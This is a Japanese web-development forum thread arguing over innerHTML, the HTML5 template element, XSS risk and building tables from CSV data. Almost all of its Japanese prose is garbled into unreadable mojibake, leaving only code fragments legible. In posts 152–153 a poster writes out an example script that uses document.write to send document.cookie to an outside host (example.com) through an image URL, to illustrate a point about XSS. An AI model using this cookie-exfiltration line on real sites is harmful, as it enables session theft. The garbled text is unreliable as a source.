‚ ‚肾‚ÆŽv‚¤‚æ

142:136
14/11/09 21:50:57.54 EDVOS3A9.net
>>139
> HTML Ž©‘̂஌`ƒtƒH[ƒ}ƒbƒg‰»‚³‚ꂽƒf[ƒ^‚È‚Ì‚Å
‚±‚±‚Å‚¢‚¤®Œ`ƒtƒH[ƒ}ƒbƒg‚Ƃ̓f[ƒ^ƒtƒH[ƒ}ƒbƒg‚ðŽw‚µAŽŸ‚ÌŒø‰Ê‚ðŠú‘Ò‚·‚é
- ‘¼‚̃tƒH[ƒ}ƒbƒg‚É—eˆÕ‚É•ÏŠ·‚Å‚«‚é
- JavaScript‚ʼnðÍ‚Å‚«‚é
- DOM‚Æ‚µ‚ÄÄ\’z‚Å‚«‚é
—Ⴆ‚ÎA2—ñ‚ÌCSVƒtƒH[ƒ}ƒbƒg‚ª‚ ‚é‚È‚çAExcel‚Å•ÒW‰Â”\‚Èã‚ÉJavaScript‚©‚çdl—v‘fAtable—v‘f‚Æ‚µ‚Äo—͉”\‚¾‚낤
ƒf[ƒ^‚̓Vƒ“ƒvƒ‹‚Å‚È‚¯‚ê‚΂Ȃç‚È‚¢‚µAJavaScript‚Åo—Í‚·‚鎞‚É—lX‚ÈŒ`Ž®‚Åo—͉”\‚ÈŽ–‚ðŠú‘Ò‚·‚é

HTML‚͘_—\‘¢‚Æ‚¢‚í‚ê‚邪Aƒf[ƒ^\‘¢‚Æ‚µ‚Ä‚Í—]Œv‚È—v‘f‚ª‘½‚·‚¬‚é
table—v‘f‚Í”äŠr“Iƒf[ƒ^\‘¢‚Æ‚µ‚ÄŽg‚¦‚邪A2ŽŸŒ³ƒf[ƒ^‚È‚ç CSV, JSON ‚Ì•û‚ª—eˆÕ‚Ɉµ‚¦‚邾‚낤
DOM‘€ì‘O’ñ‚È‚çXML‚Ì•û‚ªŠg’£«‚ª‚‚¢

143:Name_Not_Found
14/11/09 21:58:09.64 .net
HTML Templates‚ª•‹y‚·‚ê‚ΖœŽ–‰ðŒˆ

144:Name_Not_Found
14/11/09 22:15:30.68 EDVOS3A9.net
>>141
ƒeƒ“ƒvƒŒ[ƒgHTML‚ÍŒ»óAJavaScript‚Åinclude‚·‚é‚Ì‚Í‹Ø‚ªˆ«‚¢
‚à‚µA‚»‚¤‚¢‚¤ˆÓ–¡‚Å innerHTML ‚ðŽg—p‚µ‚Ä‚¢‚é‚Ì‚È‚çƒT[ƒoƒTƒCƒh‚É”C‚¹‚é‚ׂ«‚¾

145:Name_Not_Found
14/11/09 22:20:03.00 .net
>>142
‚ AHTML Templates‚Á‚Ä‚¢‚¤‚Ì‚ÍAHTML5‚Ìtemplate—v‘f‚Ì‚±‚Æ‚Ë

146:Name_Not_Found
14/11/09 22:32:31.81 EDVOS3A9.net
>>143
‚È‚é‚Ù‚ÇAŽ¸—炵‚½
URLØݸ(www.html5rocks.com)
HTML‚ɃRƒ“ƒeƒ“ƒc‚ðŽ‚Á‚Ä‚­‚é‚Ì‚Í—Ç‚¢‚Æ‚µ‚ÄA‚±‚ÌŽg‚¢•û‚Å‚ÍHTML‚ÆJavaScript‚ňˑ¶ŠÖŒW‚ªo—ˆ‚Ä‚µ‚Ü‚Á‚ÄŠÇ—‚µ‚Â炢‚ÆŽv‚¤‚Ì‚¾‚ª
‚»‚¤‚·‚é‚®‚ç‚¢‚È‚çJavaScript‘¤‚Åtemplate‚Æ‚È‚é—v‘fƒm[ƒh‚𶬂µ‚Ä cloneNode ‚ÅŽg‚¢‚Ü‚í‚·•û‚ªƒVƒ“ƒvƒ‹‚Ŕėp«‚ª‚‚¢
‚‚¢‚Å‚Étemplate—v‘f‚Æ innerHTML ‚ÉŠÖ˜A«‚ðŒ©o‚¹‚È‚¢‚Ì‚¾‚ªA‚Ç‚¤‚¢‚¤—‹ü‚ʼn½‚ª‰ðŒˆ‚·‚é‚Ì‚¾‚낤‚©

147:Name_Not_Found
14/11/09 22:39:27.47 .net
‚·‚Ü‚ñ‰´‚Í141‚â143‚Å‚ª‚ ‚邪139‚Å‚Í‚È‚¢

148:Name_Not_Found
14/11/09 22:51:12.56 DNSyM79S.net
‚Ü‚½ˆÓ–¡‚à‚È‚­innerHTML‚ÍXSS‚ª‹N‚«‚é‚Á‚Ä
Œ¾‚Á‚Ä‚é“z‚¢‚é‚Ì‚©H

XSS‚ª‹N‚«‚éðŒ‚í‚©‚Á‚Ä‚È‚¢‚¾‚ëB
ŠO•”‚©‚ç“n‚³‚ꂽ”CˆÓ‚ÌHTML‚ðˆ—‚·‚é‚Æ‚«‚¾‚¯‚¾‚¼B

‚±‚±‚Ü‚ÅŒ¾‚¦‚ÎA‚Ü‚¸‚ ‚肦‚È‚¢˜b‚¾‚Á‚Ä‹C‚­‚æ‚ÈH
”½˜_‚µ‚½‚¢‚È‚çA‹ï‘Ì“I‚É‹N‚«‚éðŒ‚ð‘‚¢‚Ä”½˜_‚µ‚Ä‚­‚ê‚æ‚ÈB

149:Name_Not_Found
14/11/09 22:54:04.05 .net
ŠO•”‚Á‚Ä‚È‚ñ‚Ì‚±‚ÆH

150:Name_Not_Found
14/11/09 22:56:09.37 DNSyM79S.net
>>147
‚Ç‚ñ‚ȃf[ƒ^‚ª—ˆ‚é‚Ì‚©‚ð
’m‚邱‚Æ‚ª•s‰Â”\‚È‚à‚Ì‚Ì‚±‚Æ

—Ⴆ‚΃†[ƒU[‚ª“ü—Í‚·‚éƒf[ƒ^‚Í
’m‚邱‚Æ‚ª•s‰Â”\B

151:Name_Not_Found
14/11/09 22:57:03.49 .net
‚¶‚á‚ “à•”‚ÍH

152:Name_Not_Found
14/11/09 23:00:55.60 DNSyM79S.net
>>149
“à•”‚ÍŽ©•ª‚Å‘‚¢‚½ƒR[ƒh

—Ⴆ‚ÎAŽ©•ª‚ÅAHTML‚É
<script>document.write('URLØݸ(example.com)' + document.cookie')</scrpt>
‚Á‚Ä‘‚¢‚½‚çAcookie‚Ì“à—e‚ªŠO•”ƒTƒCƒg‚ɘR‚ê‚Ċ댯‚¶‚á‚È‚¢‚Å‚·‚©B

document.write‚͊댯‚Å‚·I‚Á‚Ä‚¢‚¤”nŽ­‚Í‚¢‚È‚¢‚¾‚낤H

153:Name_Not_Found
14/11/09 23:02:24.95 DNSyM79S.net
’ù³

~ <script>document.write('URLØݸ(example.com)' + document.cookie')</scrpt>
› <script>document.write('<img src="URLØݸ(example.com)' + document.cookie' + '">")</scrpt>

154:Name_Not_Found
14/11/09 23:10:53.11 DNSyM79S.net
>>144
> HTML‚ɃRƒ“ƒeƒ“ƒc‚ðŽ‚Á‚Ä‚­‚é‚Ì‚Í—Ç‚¢‚Æ‚µ‚ÄA‚±‚ÌŽg‚¢•û‚Å‚ÍHTML‚ÆJavaScript‚ňˑ¶ŠÖŒW‚ªo—ˆ‚Ä‚µ‚Ü‚Á‚ÄŠÇ—‚µ‚Â炢‚ÆŽv‚¤‚Ì‚¾‚ª

•¨‚É‚æ‚éB

ˆ—‚ªJavaScript‚¾‚¯‚ÅŠ®Œ‹‚·‚é‚悤‚È‚à‚Ì‚ÍAJavaScript‚Ŷ¬‚µ‚Ä—Ç‚¢B
—Ⴆ‚ÎAOKƒ{ƒ^ƒ“‚¾‚¯‚Ìalert‚âA“ü—Í€–Ú‚ª‚ ‚邾‚¯‚Ìconfirm‚Ì
‘ã‚í‚è‚Æ‚È‚éƒ_ƒCƒAƒƒOƒ‰ƒCƒuƒ‰ƒŠ‚Æ‚©‚ËB

‚Å‚àA”CˆÓ‚ÌHTML‚Ì“à—e‚ðƒ_ƒCƒAƒƒO‚É‚¾‚·B‚È‚ñ‚Ä‚à‚Ì‚Í
JavaScript‚¾‚¯‚Å‚Å‚«‚È‚¢‚Ì‚ÅA‚±‚¤‚¢‚¤‚Ì‚Ítemplate—v‘f‚ðŽg‚Á‚½•û‚ª‚¢‚¢B
‚Æ‚¢‚¤‚©‚»‚¤‚¢‚¤‚±‚Æ‚ð‚·‚é‚½‚ß‚Étemplate—v‘f‚ª‚ ‚éB
uƒeƒ“ƒvƒŒ[ƒg‚Ì“à—e‚ªˆø”‚É‚È‚éê‡v‚Æl‚¦‚ê‚΂¢‚¢B

‚È‚¨AŠO•”‚©‚ç“n‚³‚ê‚éHTML‚Å‚Í‚È‚¢ê‡A
XSS‚Í”­¶‚µ‚È‚¢‚Ì‚ÅAinnerHTML‚ðŽg‚¤‚ƃVƒ“ƒvƒ‹‚Å•ª‚©‚è‚â‚·‚­‚È‚éB

> ‚»‚¤‚·‚é‚®‚ç‚¢‚È‚çJavaScript‘¤‚Åtemplate‚Æ‚È‚é—v‘fƒm[ƒh‚𶬂µ‚Ä cloneNode ‚ÅŽg‚¢‚Ü‚í‚·•û‚ªƒVƒ“ƒvƒ‹‚Ŕėp«‚ª
‚‚܂èuJavaScript‘¤‚Åtemplate‚Æ‚È‚é—v‘fƒm[ƒh‚ð¶¬v‚·‚é‚Æ‚«‚ÉHTML‚Å
var html = '<table><tr><td>‚È‚ñ‚Æ‚©</td></tr></table>'; ‚Ý‚½‚¢‚É‘‚¢‚Ä—v‘fƒm[ƒh‚𶬂·‚é‚Æ
‚í‚©‚è‚â‚·‚¢‚¾‚낤H ‚±‚ꂾ‚¯‚Ì‚à‚Ì‚ª‚½‚Á‚½ˆês‚Å‘‚¯‚½‚µ‚ËB

155:Name_Not_Found
14/11/09 23:20:29.85 DNSyM79S.net
–{Ž¿‚ÍHTML’f•Ð‚ðHTML‚É’u‚«‚½‚¢‚©
JavaScript‚É’u‚«‚½‚¢‚©‚Á‚Ä‚±‚Æ‚È‚ñ‚¾‚æ‚ÈB

HTML‚É’u‚«‚½‚¢‚È‚ç‚ÎAtemplate—v‘fB
JavaScript‚É’u‚«‚½‚¢‚È‚ç‚ÎAEEEƒqƒAƒhƒLƒ…ƒƒ“ƒg‚ª—~‚µ‚¢B
H•vŽŸ‘æ‚ŃqƒAƒhƒLƒ…ƒƒ“ƒg‚Á‚Û‚¢‚±‚Æ‚ª‚Å‚«‚é‚Ì‚Í’m‚Á‚Ă邯‚Ç‚ËB

156:136
14/11/09 23:33:25.23 EDVOS3A9.net
>>152
­‚È‚­‚Æ‚àŽ„‚̉^—p–@‚Å‚Ítemplate—v‘f‚ɃƒŠƒbƒg‚ÍŠ´‚¶‚È‚©‚Á‚½
Šù‘¶‚ÌHTM‚k‰ü•Ï‚È‚çtemplate—v‘f‚ðŽg‚¤•K—v‚ª‚È‚¢‚µAŠO•”ƒf[ƒ^‚©‚çDOM‚ð‹N‚±‚·‚È‚çƒm[ƒhŠÇ—‚·‚é‚Ù‚¤‚ª•Ö—˜
innerHTML ‚ð—˜—p‚µ‚½‚¢ê–Ê‚ÍŒ©‚‚©‚ç‚È‚©‚Á‚½

> ‚Å‚àA”CˆÓ‚ÌHTML‚Ì“à—e‚ðƒ_ƒCƒAƒƒO‚É‚¾‚·B‚È‚ñ‚Ä‚à‚Ì‚Í
> JavaScript‚¾‚¯‚Å‚Å‚«‚È‚¢‚Ì‚ÅA‚±‚¤‚¢‚¤‚Ì‚Ítemplate—v‘f‚ðŽg‚Á‚½•û‚ª‚¢‚¢B
uƒ_ƒCƒAƒƒOv‚Ì’è‹`‚ª•s–¾‚¾‚ªAHTML‚Åo—ˆ‚Ä‚¢‚é‚Ì‚È‚çƒm[ƒh‘€ì‚¾‚¯‚Å\•ª‚ÉŠ®Œ‹‚Å‚«‚é
Œã‚ÍŒ³‚Æ‚È‚éƒf[ƒ^‚ð‚Ç‚±‚©‚çˆø‚Á’£‚é‚©‚É‚æ‚é‚Ì‚¾‚ªA‚¢‚¸‚ê‚É‚µ‚Ä‚àƒf[ƒ^‚ðŽæ“¾‚µ‚ÄDOM‚ð\’z‚·‚éŽè–@‚͉½‚à•Ï‚í‚ç‚È‚¢

157:Name_Not_Found
14/11/09 23:37:15.63 DNSyM79S.net
> HTML‚Åo—ˆ‚Ä‚¢‚é‚Ì‚È‚çƒm[ƒh‘€ì‚¾‚¯‚Å\•ª‚ÉŠ®Œ‹‚Å‚«‚é

Š®Œ‹‚Å‚«‚é‚©‚Ç‚¤‚©‚Å‚Í‚È‚­A
d—v‚Ȃ̂̓Vƒ“ƒvƒ‹‚ÉŠ®Œ‹‚Å‚«‚é‚©‚Ç‚¤‚©‚¾B

‚»‚Ì“_‚ªŒ©‚¦‚Ä‚È‚¢‚ÆAƒR[ƒh‚̓€ƒ_‚É•¡ŽG‚É‚È‚é‚΂©‚肾‚¼B

158:136
14/11/09 23:39:29.59 EDVOS3A9.net
>>153
> –{Ž¿‚ÍHTML’f•Ð‚ðHTML‚É’u‚«‚½‚¢‚©
> JavaScript‚É’u‚«‚½‚¢‚©‚Á‚Ä‚±‚Æ‚È‚ñ‚¾‚æ‚ÈB
Ž„‚ÉŒ¾‚킹‚ê‚ÎA‚»‚±‚Í–{Ž¿‚¶‚á‚È‚¢
‚»‚à‚»‚àAHTML’f•Ð‚ÅŠÇ—‚¹‚¸Aƒf[ƒ^‚ÅŠÇ—‚·‚é
HTML‚̓f[ƒ^‚Æ‚µ‚Ä‚Í—]Œv‚Èî•ñ‚ª‘½‚¢

159:Name_Not_Found
14/11/09 23:42:00.54 DNSyM79S.net
>>156
¡˜b‚ð‚µ‚Ä‚¢‚é‚Ì‚ÍAƒf[ƒ^‚Å‚Í‚È‚¢B

"’Pƒ‚ÉHTML‚É•ÏŠ·‚·‚éƒf[ƒ^" ‚¾

ƒf[ƒ^‚¾‚¯‘‚¢‚Ä‚»‚ê‚ðHTML‚É•ÏŠ·‚·‚é‚È‚ç
‚»‚ñ‚È–³‘Ê‚Èì‹Æ‚Í–³‚­‚µ‚Ä’¼ÚHTML‚𶬂µ‚½‚Ù‚¤‚ª
‚í‚©‚è‚â‚·‚¢B

”½˜_‚µ‚½‚¢‚È‚çA

var html = '<table><tr><td>‚È‚ñ‚Æ‚©</td></tr></table>'
”CˆÓ‚Ì—v‘f.innerHTML = html;

‚±‚ê‚ðƒVƒ“ƒvƒ‹‚É‘‚¢‚ÄŒ©‚¹‚Ä‚ÝB

160:136
14/11/09 23:46:17.30 EDVOS3A9.net
>>157
>>136‚ÌŒJ‚è•Ô‚µ
‚»‚ñ‚ÈÝŒv‚É‚Í‚µ‚È‚¢

161:Name_Not_Found
14/11/09 23:47:25.99 DNSyM79S.net
>>158
‚È‚ñ‚Åu‰´‚Í‚µ‚È‚¢v‚ª”½˜_‚É‚È‚é‚ÆŽv‚Á‚Ä‚ñ‚ÌH
‚¨‘O‚ª‚Ç‚¤‚Æ‚©ŠÖŒW‚Ë[‚æB

innerHTML‚ðƒR[ƒh‚Å‘‚¢‚½‚ç
ƒVƒ“ƒvƒ‹‚Éo—ˆ‚È‚¢‚¾‚낤H

162:Name_Not_Found
14/11/09 23:54:59.86 EDVOS3A9.net
>>159
Žg‚¤•K—v‚ª‚È‚¢‚Ì‚¾‚©‚çŽg‚í‚È‚¢
‚â‚낤‚Æ‚µ‚Ä‚¢‚邱‚Æ‚ªƒiƒ“ƒZƒ“ƒX‚È‚Ì‚¾‚©‚çŽd•û‚È‚¢‚¾‚낤
—Ⴆ‚ÎAuCSS‚ðŽg‚킸‚É’i‘gƒŒƒCƒAƒEƒg‚µ‚Ä‚Ý‚ÄAtableƒŒƒCƒAƒEƒg‚Å‚È‚¢‚Æo—ˆ‚È‚¢‚Å‚µ‚åHv‚Æ‚¢‚Á‚Ä‚à’N‚à”[“¾‚µ‚È‚¢‚¾‚낤

163:Name_Not_Found
14/11/09 23:59:08.50 DNSyM79S.net
>>168
‚½‚Æ‚¦‚ªˆÓ–¡•s–¾B

JavaScript‚ÅHTMLi—v‘fƒm[ƒhj‚𶬂·‚é‚Ì‚ª‘O’ñ‚̘b‚¾‚ëH

> ‚»‚¤‚·‚é‚®‚ç‚¢‚È‚çJavaScript‘¤‚Åtemplate‚Æ‚È‚é—v‘fƒm[ƒh‚𶬂µ‚Ä
‚Ù‚ç‚»‚¤‘‚¢‚Ä‚ ‚éB

‚í‚´‚í‚´ƒOƒ_ƒOƒ_‚ȃR[ƒh‘‚¢‚ÄHTML‚𶬂·‚é‚È‚ç
ʼn‚©‚çHTML‚ð‘‚¢‚½‚Ù‚¤‚ªŠyB

164:Name_Not_Found
14/11/10 00:02:01.29 .net
ƒŒƒxƒ‹‚̈ႤŽÒ“¯Žm‚Ì•s–Ñ‚ÈŒ¾‚¢‘ˆ‚¢

165:Name_Not_Found
14/11/10 00:08:07.72 vE07iE/R.net
Žd•û‚È‚¢‚æBtemplate—v‘f‚ª‚È‚º•K—v‚Æ‚³‚ê‚Ä
ì‚ç‚ꂽ‚Ì‚©H‚à—‰ð‚Å‚«‚Ä‚È‚¢‚ñ‚¾‚©‚çB

‰´‚È‚ñ‚©AƒEƒFƒu‚ÌV‚µ‚¢‹Zp‚ð•·‚­‚½‚Ñ‚É
‚ [A‚â‚Á‚Æ‚»‚ꂪ‚Å‚«‚½‚ñ‚¾‚Ë‚Á‚Ä
Žv‚¤‚®‚ç‚¢‚È‚ñ‚¾‚©‚çB


o—ˆ‚Ä‚©‚çA‚»‚ꂪ•K—v‚Æ‚³‚ꂽ——R‚ð—‰ð‚·‚éŽÒ‚Æ
•K—v‚È——R‚ª‚í‚©‚Á‚Ä‚¢‚ÄAo—ˆ‚é‚Ì‚ð‘Ò‚Á‚Ä‚éŽÒ‚̈Ⴂ‚³B

166:Name_Not_Found
14/11/10 00:15:22.25 .net
>>159
ƒVƒ“ƒvƒ‹‚É‘‚¯‚é‚©‚Ç‚¤‚©‚̓pƒtƒH[ƒ}ƒ“ƒX‚Æ‚Í‘S‚­ŠÖŒW‚È‚¢‚æ‚Ë

167:136
14/11/10 00:16:26.51 9HdTHaj2.net
‚æ‚­‚ ‚éŠÔˆá‚¢‚Æ‚µ‚Ä‚ÍJavaScript‚ʼn½‚Å‚à‚©‚ñ‚Å‚à—v‘f‚𶬂µ‚Äo—Í‚·‚é‚â‚è•û
‚Ü‚¸AJavaScript‚ª‚È‚­‚Ä‚à“®ì‚·‚é‚悤‚É‚·‚é‚Ì‚ª‘O’ñ‚Æ‚µ‚Ä‚ ‚é‚Ì‚ÅAJavaScript‚ÅŒã•t‚·‚é‹@”\‚ׂ̈̃Rƒ“ƒeƒ“ƒc‚ÍHTML‚É—pˆÓ‚µ‚Ä‚ ‚éꇂª‚Ù‚Æ‚ñ‚Ç
‚»‚Ìꇂ͊ù‘¶DOM‚©‚ç•K—v‚ȃf[ƒ^‚ð’Šo‚µ‚ÄDOM‚ðÄ\’z‚·‚邾‚¯‚Å‚¢‚¢
‚ ‚­‚Ü‚ÅÄ\’z‚È‚Ì‚Å innerHTML ‚Åã‘‚«‚¹‚¸Aƒm[ƒhŠÇ—‚Å•ÏX‰ÓŠ‚ÍŬŒÀ‚É—}‚¦‚é

ƒf[ƒ^‚ªHTMLã‚É‘¶Ý‚µ‚È‚¢‚È‚çŠO•”ƒf[ƒ^‚ð—˜—p‚·‚邱‚Æ‚É‚È‚é
—Ⴆ‚ÎA“ñŽŸŒ³ƒf[ƒ^‚ðtableo—Í‚µ‚½‚¢ê‡‚ÍCSVƒtƒ@ƒCƒ‹‚ðJavaScript‚Ńp[ƒX‚µAtable—v‘fƒm[ƒh‚𶬂µ‚ÄappendChild‚·‚é
‚±‚¤‚·‚邱‚Æ‚ÅCSVƒtƒ@ƒCƒ‹‚ð•ÒW‚·‚ê‚Îo—Í‚³‚ê‚étable—v‘f‚É‚à”½‰f‚³‚ê‚é‚悤‚É‚È‚é
JavaScript‚̃R[ƒh‚ð‘‚«Š·‚¦‚ê‚ÎAtable—v‘f‚Å‚È‚­A•Ê‚Ì—v‘f‚É‚·‚鎖‚ào—ˆ‚邵Ao—Í‚·‚éŒ`Ž®‚ÍŽ©—R‚É•ÏX‚Å‚«‚é
<table> ‚ð innerHTML ‚Åo—Í‚µ‚Ä‚àŽÀŒ»‚Å‚«‚邪Acsvƒtƒ@ƒCƒ‹‚ðŠî‚É‚µ‚½•û‚ªƒf[ƒ^‚ð—eˆÕ‚É•ÒW‰Â”\‚¾‚µAcsvƒtƒ@ƒCƒ‹‚̓Vƒ“ƒvƒ‹‚ȃtƒH[ƒ}ƒbƒg‚Ȃ̂ŕʂ̃tƒH[ƒ}ƒbƒg‚É‚à—eˆÕ‚É•ÏŠ·‚Å‚«‚é

CSV‚̃p[ƒX‚ª•¡ŽG‚¾‚Æ‚©ADOM‚ÅcreateElement‚ª–Ê“|‚­‚³‚¢A‚Æ‚©‚͑債‚½–â‘肶‚á‚È‚¢
ƒf[ƒ^‚͉”À«‚ª‚‚¢•û‚ª—Ç‚¢‚µAƒf[ƒ^‚©‚çDOM‚Ö‚Ì•ÏŠ·ˆ—‚͈À‘S«/”Ä—p«‚ª‚‚¢•û‚ª—Ç‚¢
”Ä—p«‚ª‚‚¯‚ê‚΂‚¢’öAo—Í‚³‚ê‚éDOM‚ÌŽ©—R“x‚ªã‚ª‚é
•ÛŽç«AŠÇ—«AŠg’£«‚à‚ë‚à‚ë‚ðl‚¦‚é‚ÆHTML’f•Ð‚ðˆµ‚¤‚æ‚èƒVƒ“ƒvƒ‹‚ȃf[ƒ^‚©‚爵‚Á‚½‚Ù‚¤‚ª‡—“I

>>162
’‰‚ ‚肪‚Æ‚¤
‚±‚Ì•Ó‚É‚µ‚Ä‚¨‚­

168:Name_Not_Found
14/11/10 00:24:04.20 vE07iE/R.net
>>164
> ƒVƒ“ƒvƒ‹‚É‘‚¯‚é‚©‚Ç‚¤‚©‚̓pƒtƒH[ƒ}ƒ“ƒX‚Æ‚Í‘S‚­ŠÖŒW‚È‚¢‚æ‚Ë

innerHTML‚¾‚ÆAƒVƒ“ƒvƒ‹‚©‚ƒpƒtƒH[ƒ}ƒ“ƒX‚ª‚¢‚¢‚©‚ç‚ËB
Šm‚©‚ɃVƒ“ƒvƒ‹‚ƃpƒtƒH[ƒ}ƒ“ƒX‚Í‘S‚­ŠÖŒW‚È‚¢‚¯‚Ç

169:Name_Not_Found
14/11/10 00:25:02.54 vE07iE/R.net
>>165
‚¦‚Á‚ÆAJavaScript»‚̃eƒ“ƒvƒŒ[ƒgƒGƒ“ƒWƒ“‚Ì
‘¶ÝˆÓ‹`‚à‚í‚©‚ç‚È‚¢H

‚»‚Á‚©‚ŸB‚»‚Ì’ö“x‚̃Œƒxƒ‹‚È‚ñ‚¾‚ËB

170:Name_Not_Found
14/11/10 00:28:40.75 .net
‰º‚ç‚È‚¢ø‚肪‘½‚­‚Ä‚¤‚ñ‚´‚è
ID‚ªo‚Ä‚¢‚邾‚¯ƒ}ƒV‚©

171:Name_Not_Found
14/11/10 00:32:39.34 vE07iE/R.net
IDo‚µ‚Ä‚¨‚­‚Æ•Ö—˜‚ÅA‚¤‚´‚¢‚â‚‚©‚ç‚Ì”½˜_‚ª–³‚­‚È‚é‚ñ‚¾‚æ‚ËB

‚¾‚©‚烃“ƒTƒCƒhƒQ[ƒ€‚É‚È‚é‚—

172:Name_Not_Found
14/11/10 00:36:20.86 .net
”Þ‚ÍŽ©ŒÈˆ¤«ƒp[ƒ\ƒiƒŠƒeƒBáŠQ‚ÉŠY“–‚·‚é‚悤‚ÉŒ©‚¦‚½
“àŒü“I‚Èl‚Í‘å‚Ȃ謂Ȃ肻‚ÌŒXŒü‚ª‚ ‚邪A—¬Î‚É“‚¢‚È

173:Name_Not_Found
14/11/10 00:40:20.15 .net
~@”½˜_‚ª–³‚­‚È‚é
›@•ð‚ê‚Ä–³Ž‹‚³‚ê‚é

174:Name_Not_Found
14/11/10 00:52:01.97 .net
>>166
‹tAinnerHTML‚̃pƒtƒH[ƒ}ƒ“ƒX‚Í‚æ‚­‚È‚¢

175:Name_Not_Found
14/11/10 00:58:02.62 vE07iE/R.net
>>171
–³Ž‹‚Å‚à‚È‚ñ‚Å‚à‚¢‚¢‚í‚—

Œ¾‚¢•Ô‚³‚È‚¢‚̂Ȃ猋\B
‚»‚ꂪ‘¼‚Ìl‚É‚Ç‚¤Œ©‚¦‚é‚©‚ªd—v‚È‚Ì‚¾‚©‚çB

176:Name_Not_Found
14/11/10 01:01:07.36 vE07iE/R.net
>>172
‚¶‚á‚ AƒpƒtƒH[ƒ}ƒ“ƒX‚ɂ‚¢‚Ä‚Í‚»‚ê‚Å‚¢‚¢‚æB

‚»‚ê‚Å–{‘èBƒVƒ“ƒvƒ‹‚©‚Ç‚¤‚©‚ÅŒ¾‚¦‚ÎA
ƒVƒ“ƒvƒ‹‚¾‚ëH

177:Name_Not_Found
14/11/10 01:02:23.81 .net
‹c˜_ƒXƒŒ‚Å‚Í‚È‚¢‚Ì‚¾‚ªc
‚ǂ̃XƒNƒŠƒvƒgƒGƒ“ƒWƒ“‚̂ǂ̃ŠƒŠ[ƒX‚Ì‚±‚Æ‚È‚Ì‚â‚ç

178:Name_Not_Found
14/11/10 01:23:24.12 .net
> ‚»‚ꂪ‘¼‚Ìl‚É‚Ç‚¤Œ©‚¦‚é‚©‚ªd—v‚È‚Ì‚¾‚©‚çB
ÅŒã‚Ü‚ÅŽc‚Á‚½l‚ª³‚µ‚¢‚悤‚ÉŒ©‚¦‚éA‚ÆŽv‚Á‚Ä‚é‚ñ‚¾‚낤‚È
ID:vE07iE/R ‚ð“Ç‚Ý•Ô‚µ‚Ä‚à‚»‚¤Žv‚¦‚é‚È‚çdÇ

179:Name_Not_Found
14/11/10 01:24:16.93 vE07iE/R.net
>>176
’N‚à‚ ‚ñ‚½‚̈ӌ©‚È‚ñ‚Ä•·‚¢‚Ä‚È‚¢‚ñ‚¾‚æB

180:Name_Not_Found
14/11/10 01:25:11.56 .net
‘åä•v
’N‚à ID:vE07iE/R ‚̈ӌ©‚ð•·‚¢‚Ä‚È‚¢‚©‚çA‹C‚É‚·‚é‚È

181:Name_Not_Found
14/11/10 01:26:52.27 vE07iE/R.net
‹C‚É‚µ‚Ä‚é‚©‚烌ƒX‚µ‚Ä‚ñ‚¾‚ë‚—
Œ™‚È‚ç‚È‚ñ‚Å–³Ž‹‚Å‚«‚È‚¢‚Ì‚©H

‚à‚¿‚ë‚ñ‹C‚É‚µ‚Ä‚¢‚é‚Ȃ烌ƒX‚µ‚Ä‚à
\‚í‚È‚¢‚ª‚Ë‚—

182:Name_Not_Found
14/11/10 01:36:14.97 vE07iE/R.net
>>165
template—v‘f‚ðŽg‚¤‚æ‚­‚ ‚é—ႪAjax‚¾‚ËB

Ajax‚ðŽg‚Á‚ăf[ƒ^‚¾‚¯Žæ‚Á‚Ä‚­‚éB
‚»‚̃f[ƒ^‚ðŒ³‚ÉHTML‚𶬂·‚éB

“–‘R‚È‚ª‚çAjax‚ðŽg‚¤ˆÈãAJavaScript‚ðŽg‚¤‚±‚Æ‚É‚È‚éB
‚»‚ê‚ð‰ÁH‚µ‚Ä•\Ž¦‚·‚éB

—Ⴆ‚΃e[ƒuƒ‹‚ÌHTML‚̈ꕔ‚ð‰ÁH‚·‚é‚È‚ÇB
‚»‚¤‚¢‚Á‚½ŽžAJavaScript‚͉ÁH‚·‚é‚Æ‚¢‚¤‚±‚Æ‚Í’m‚Á‚Ä‚¢‚Ä‚à
‚ǂ̂悤‚ȃ}[ƒNƒAƒbƒv‚É‚·‚é‚©‚ÍHTML‚µ‚¾‚¢B

ƒe[ƒuƒ‹‚Ì hˆê•”" ‚Æ‚¢‚¤‚±‚Æ‚©‚ç„‘ª‚Å‚«‚é‚悤‚É
‚»‚Ì‘¼‚Ì•”•ª‚ÍHTML‚Å‘‚©‚ê‚Ä‚¨‚èA‚»‚ê‚ÍJavaScript‚Í‚µ‚ç‚È‚¢B
‚Ç‚¤‚¢‚Á‚½ƒ}[ƒNƒAƒbƒv‚É‚·‚é‚©‚ÍHTML‚Å‚«‚߂邱‚Æ‚È‚Ì‚ÅA
HTML‚Ƀeƒ“ƒvƒŒ[ƒg‚Æ‚µ‚Ä—pˆÓ‚µ‚Ä‚¨‚«AJavaScript‚Å‚Í
‚»‚̈ꕔ‚¾‚¯’l‚ð“ü‚êž‚ÞB

‚±‚ê‚É‚æ‚èAHTML‚ÆJavaScript‚ªãY—í‚É•ª—£‚³‚ê‚éB

183:Name_Not_Found
14/11/10 01:43:36.62 vE07iE/R.net
CSVƒf[ƒ^‚©‚çƒe[ƒuƒ‹‚𶬂·‚é˜b‚à“¯‚¶B

<table>
@<tr><td>name1</td><td>value1</td></tr>
@<tr><td>name2</td><td>value2</td></tr>
@<tr><td>name3</td><td>value3</td></tr>
</table>

‚±‚¤‚¢‚¤‚à‚Ì‚ðDOM–½—ß‚Åì‚é‚Ì‚Í”nŽ­‚炵‚¢B
createElement‚Åtable‚ðì‚Á‚Ätr‚ðì‚Á‚Ätd‚ðì‚Á‚Äappend‚µ‚ÄB
‰½‚ð‚â‚Á‚Ä‚é‚Ì‚©‚³‚Á‚Ï‚è‚í‚©‚ç‚È‚­‚È‚éB

X‚Étable‚âtr‚âtd‚É‘®«‚ð•t‚¯‚ç‚ê‚é‚悤‚É‚µ‚½‚¢‚Æ‚©‚È‚é‚ÆA
ƒe[ƒuƒ‹‚𶬂·‚é–½—ß‚ÉA‚¢‚ë‚ñ‚ȃpƒ‰ƒ[ƒ^‚ð“n‚³‚È‚­‚¯‚ê‚΂¢‚¯‚È‚­‚È‚éB
ƒfƒUƒCƒi[‚ªu‚±‚Ìtable‚É‚Æ‚ ‚éclass‚ð•t‚¯‚½‚¢‚ñ‚Å‚·‚¯‚Çv‚Á‚ÄŒ¾‚Á‚½‚ç
JavaScript‚ðC³‚µ‚È‚­‚Ä‚Í‚¢‚¯‚È‚­‚È‚éB

HTML‚ÆJavaScript‚ª–§Ú‚ÉŒ‹‡‚µ‚Ä‚µ‚Ü‚Á‚Ä‚é‚©‚ç‚ËB

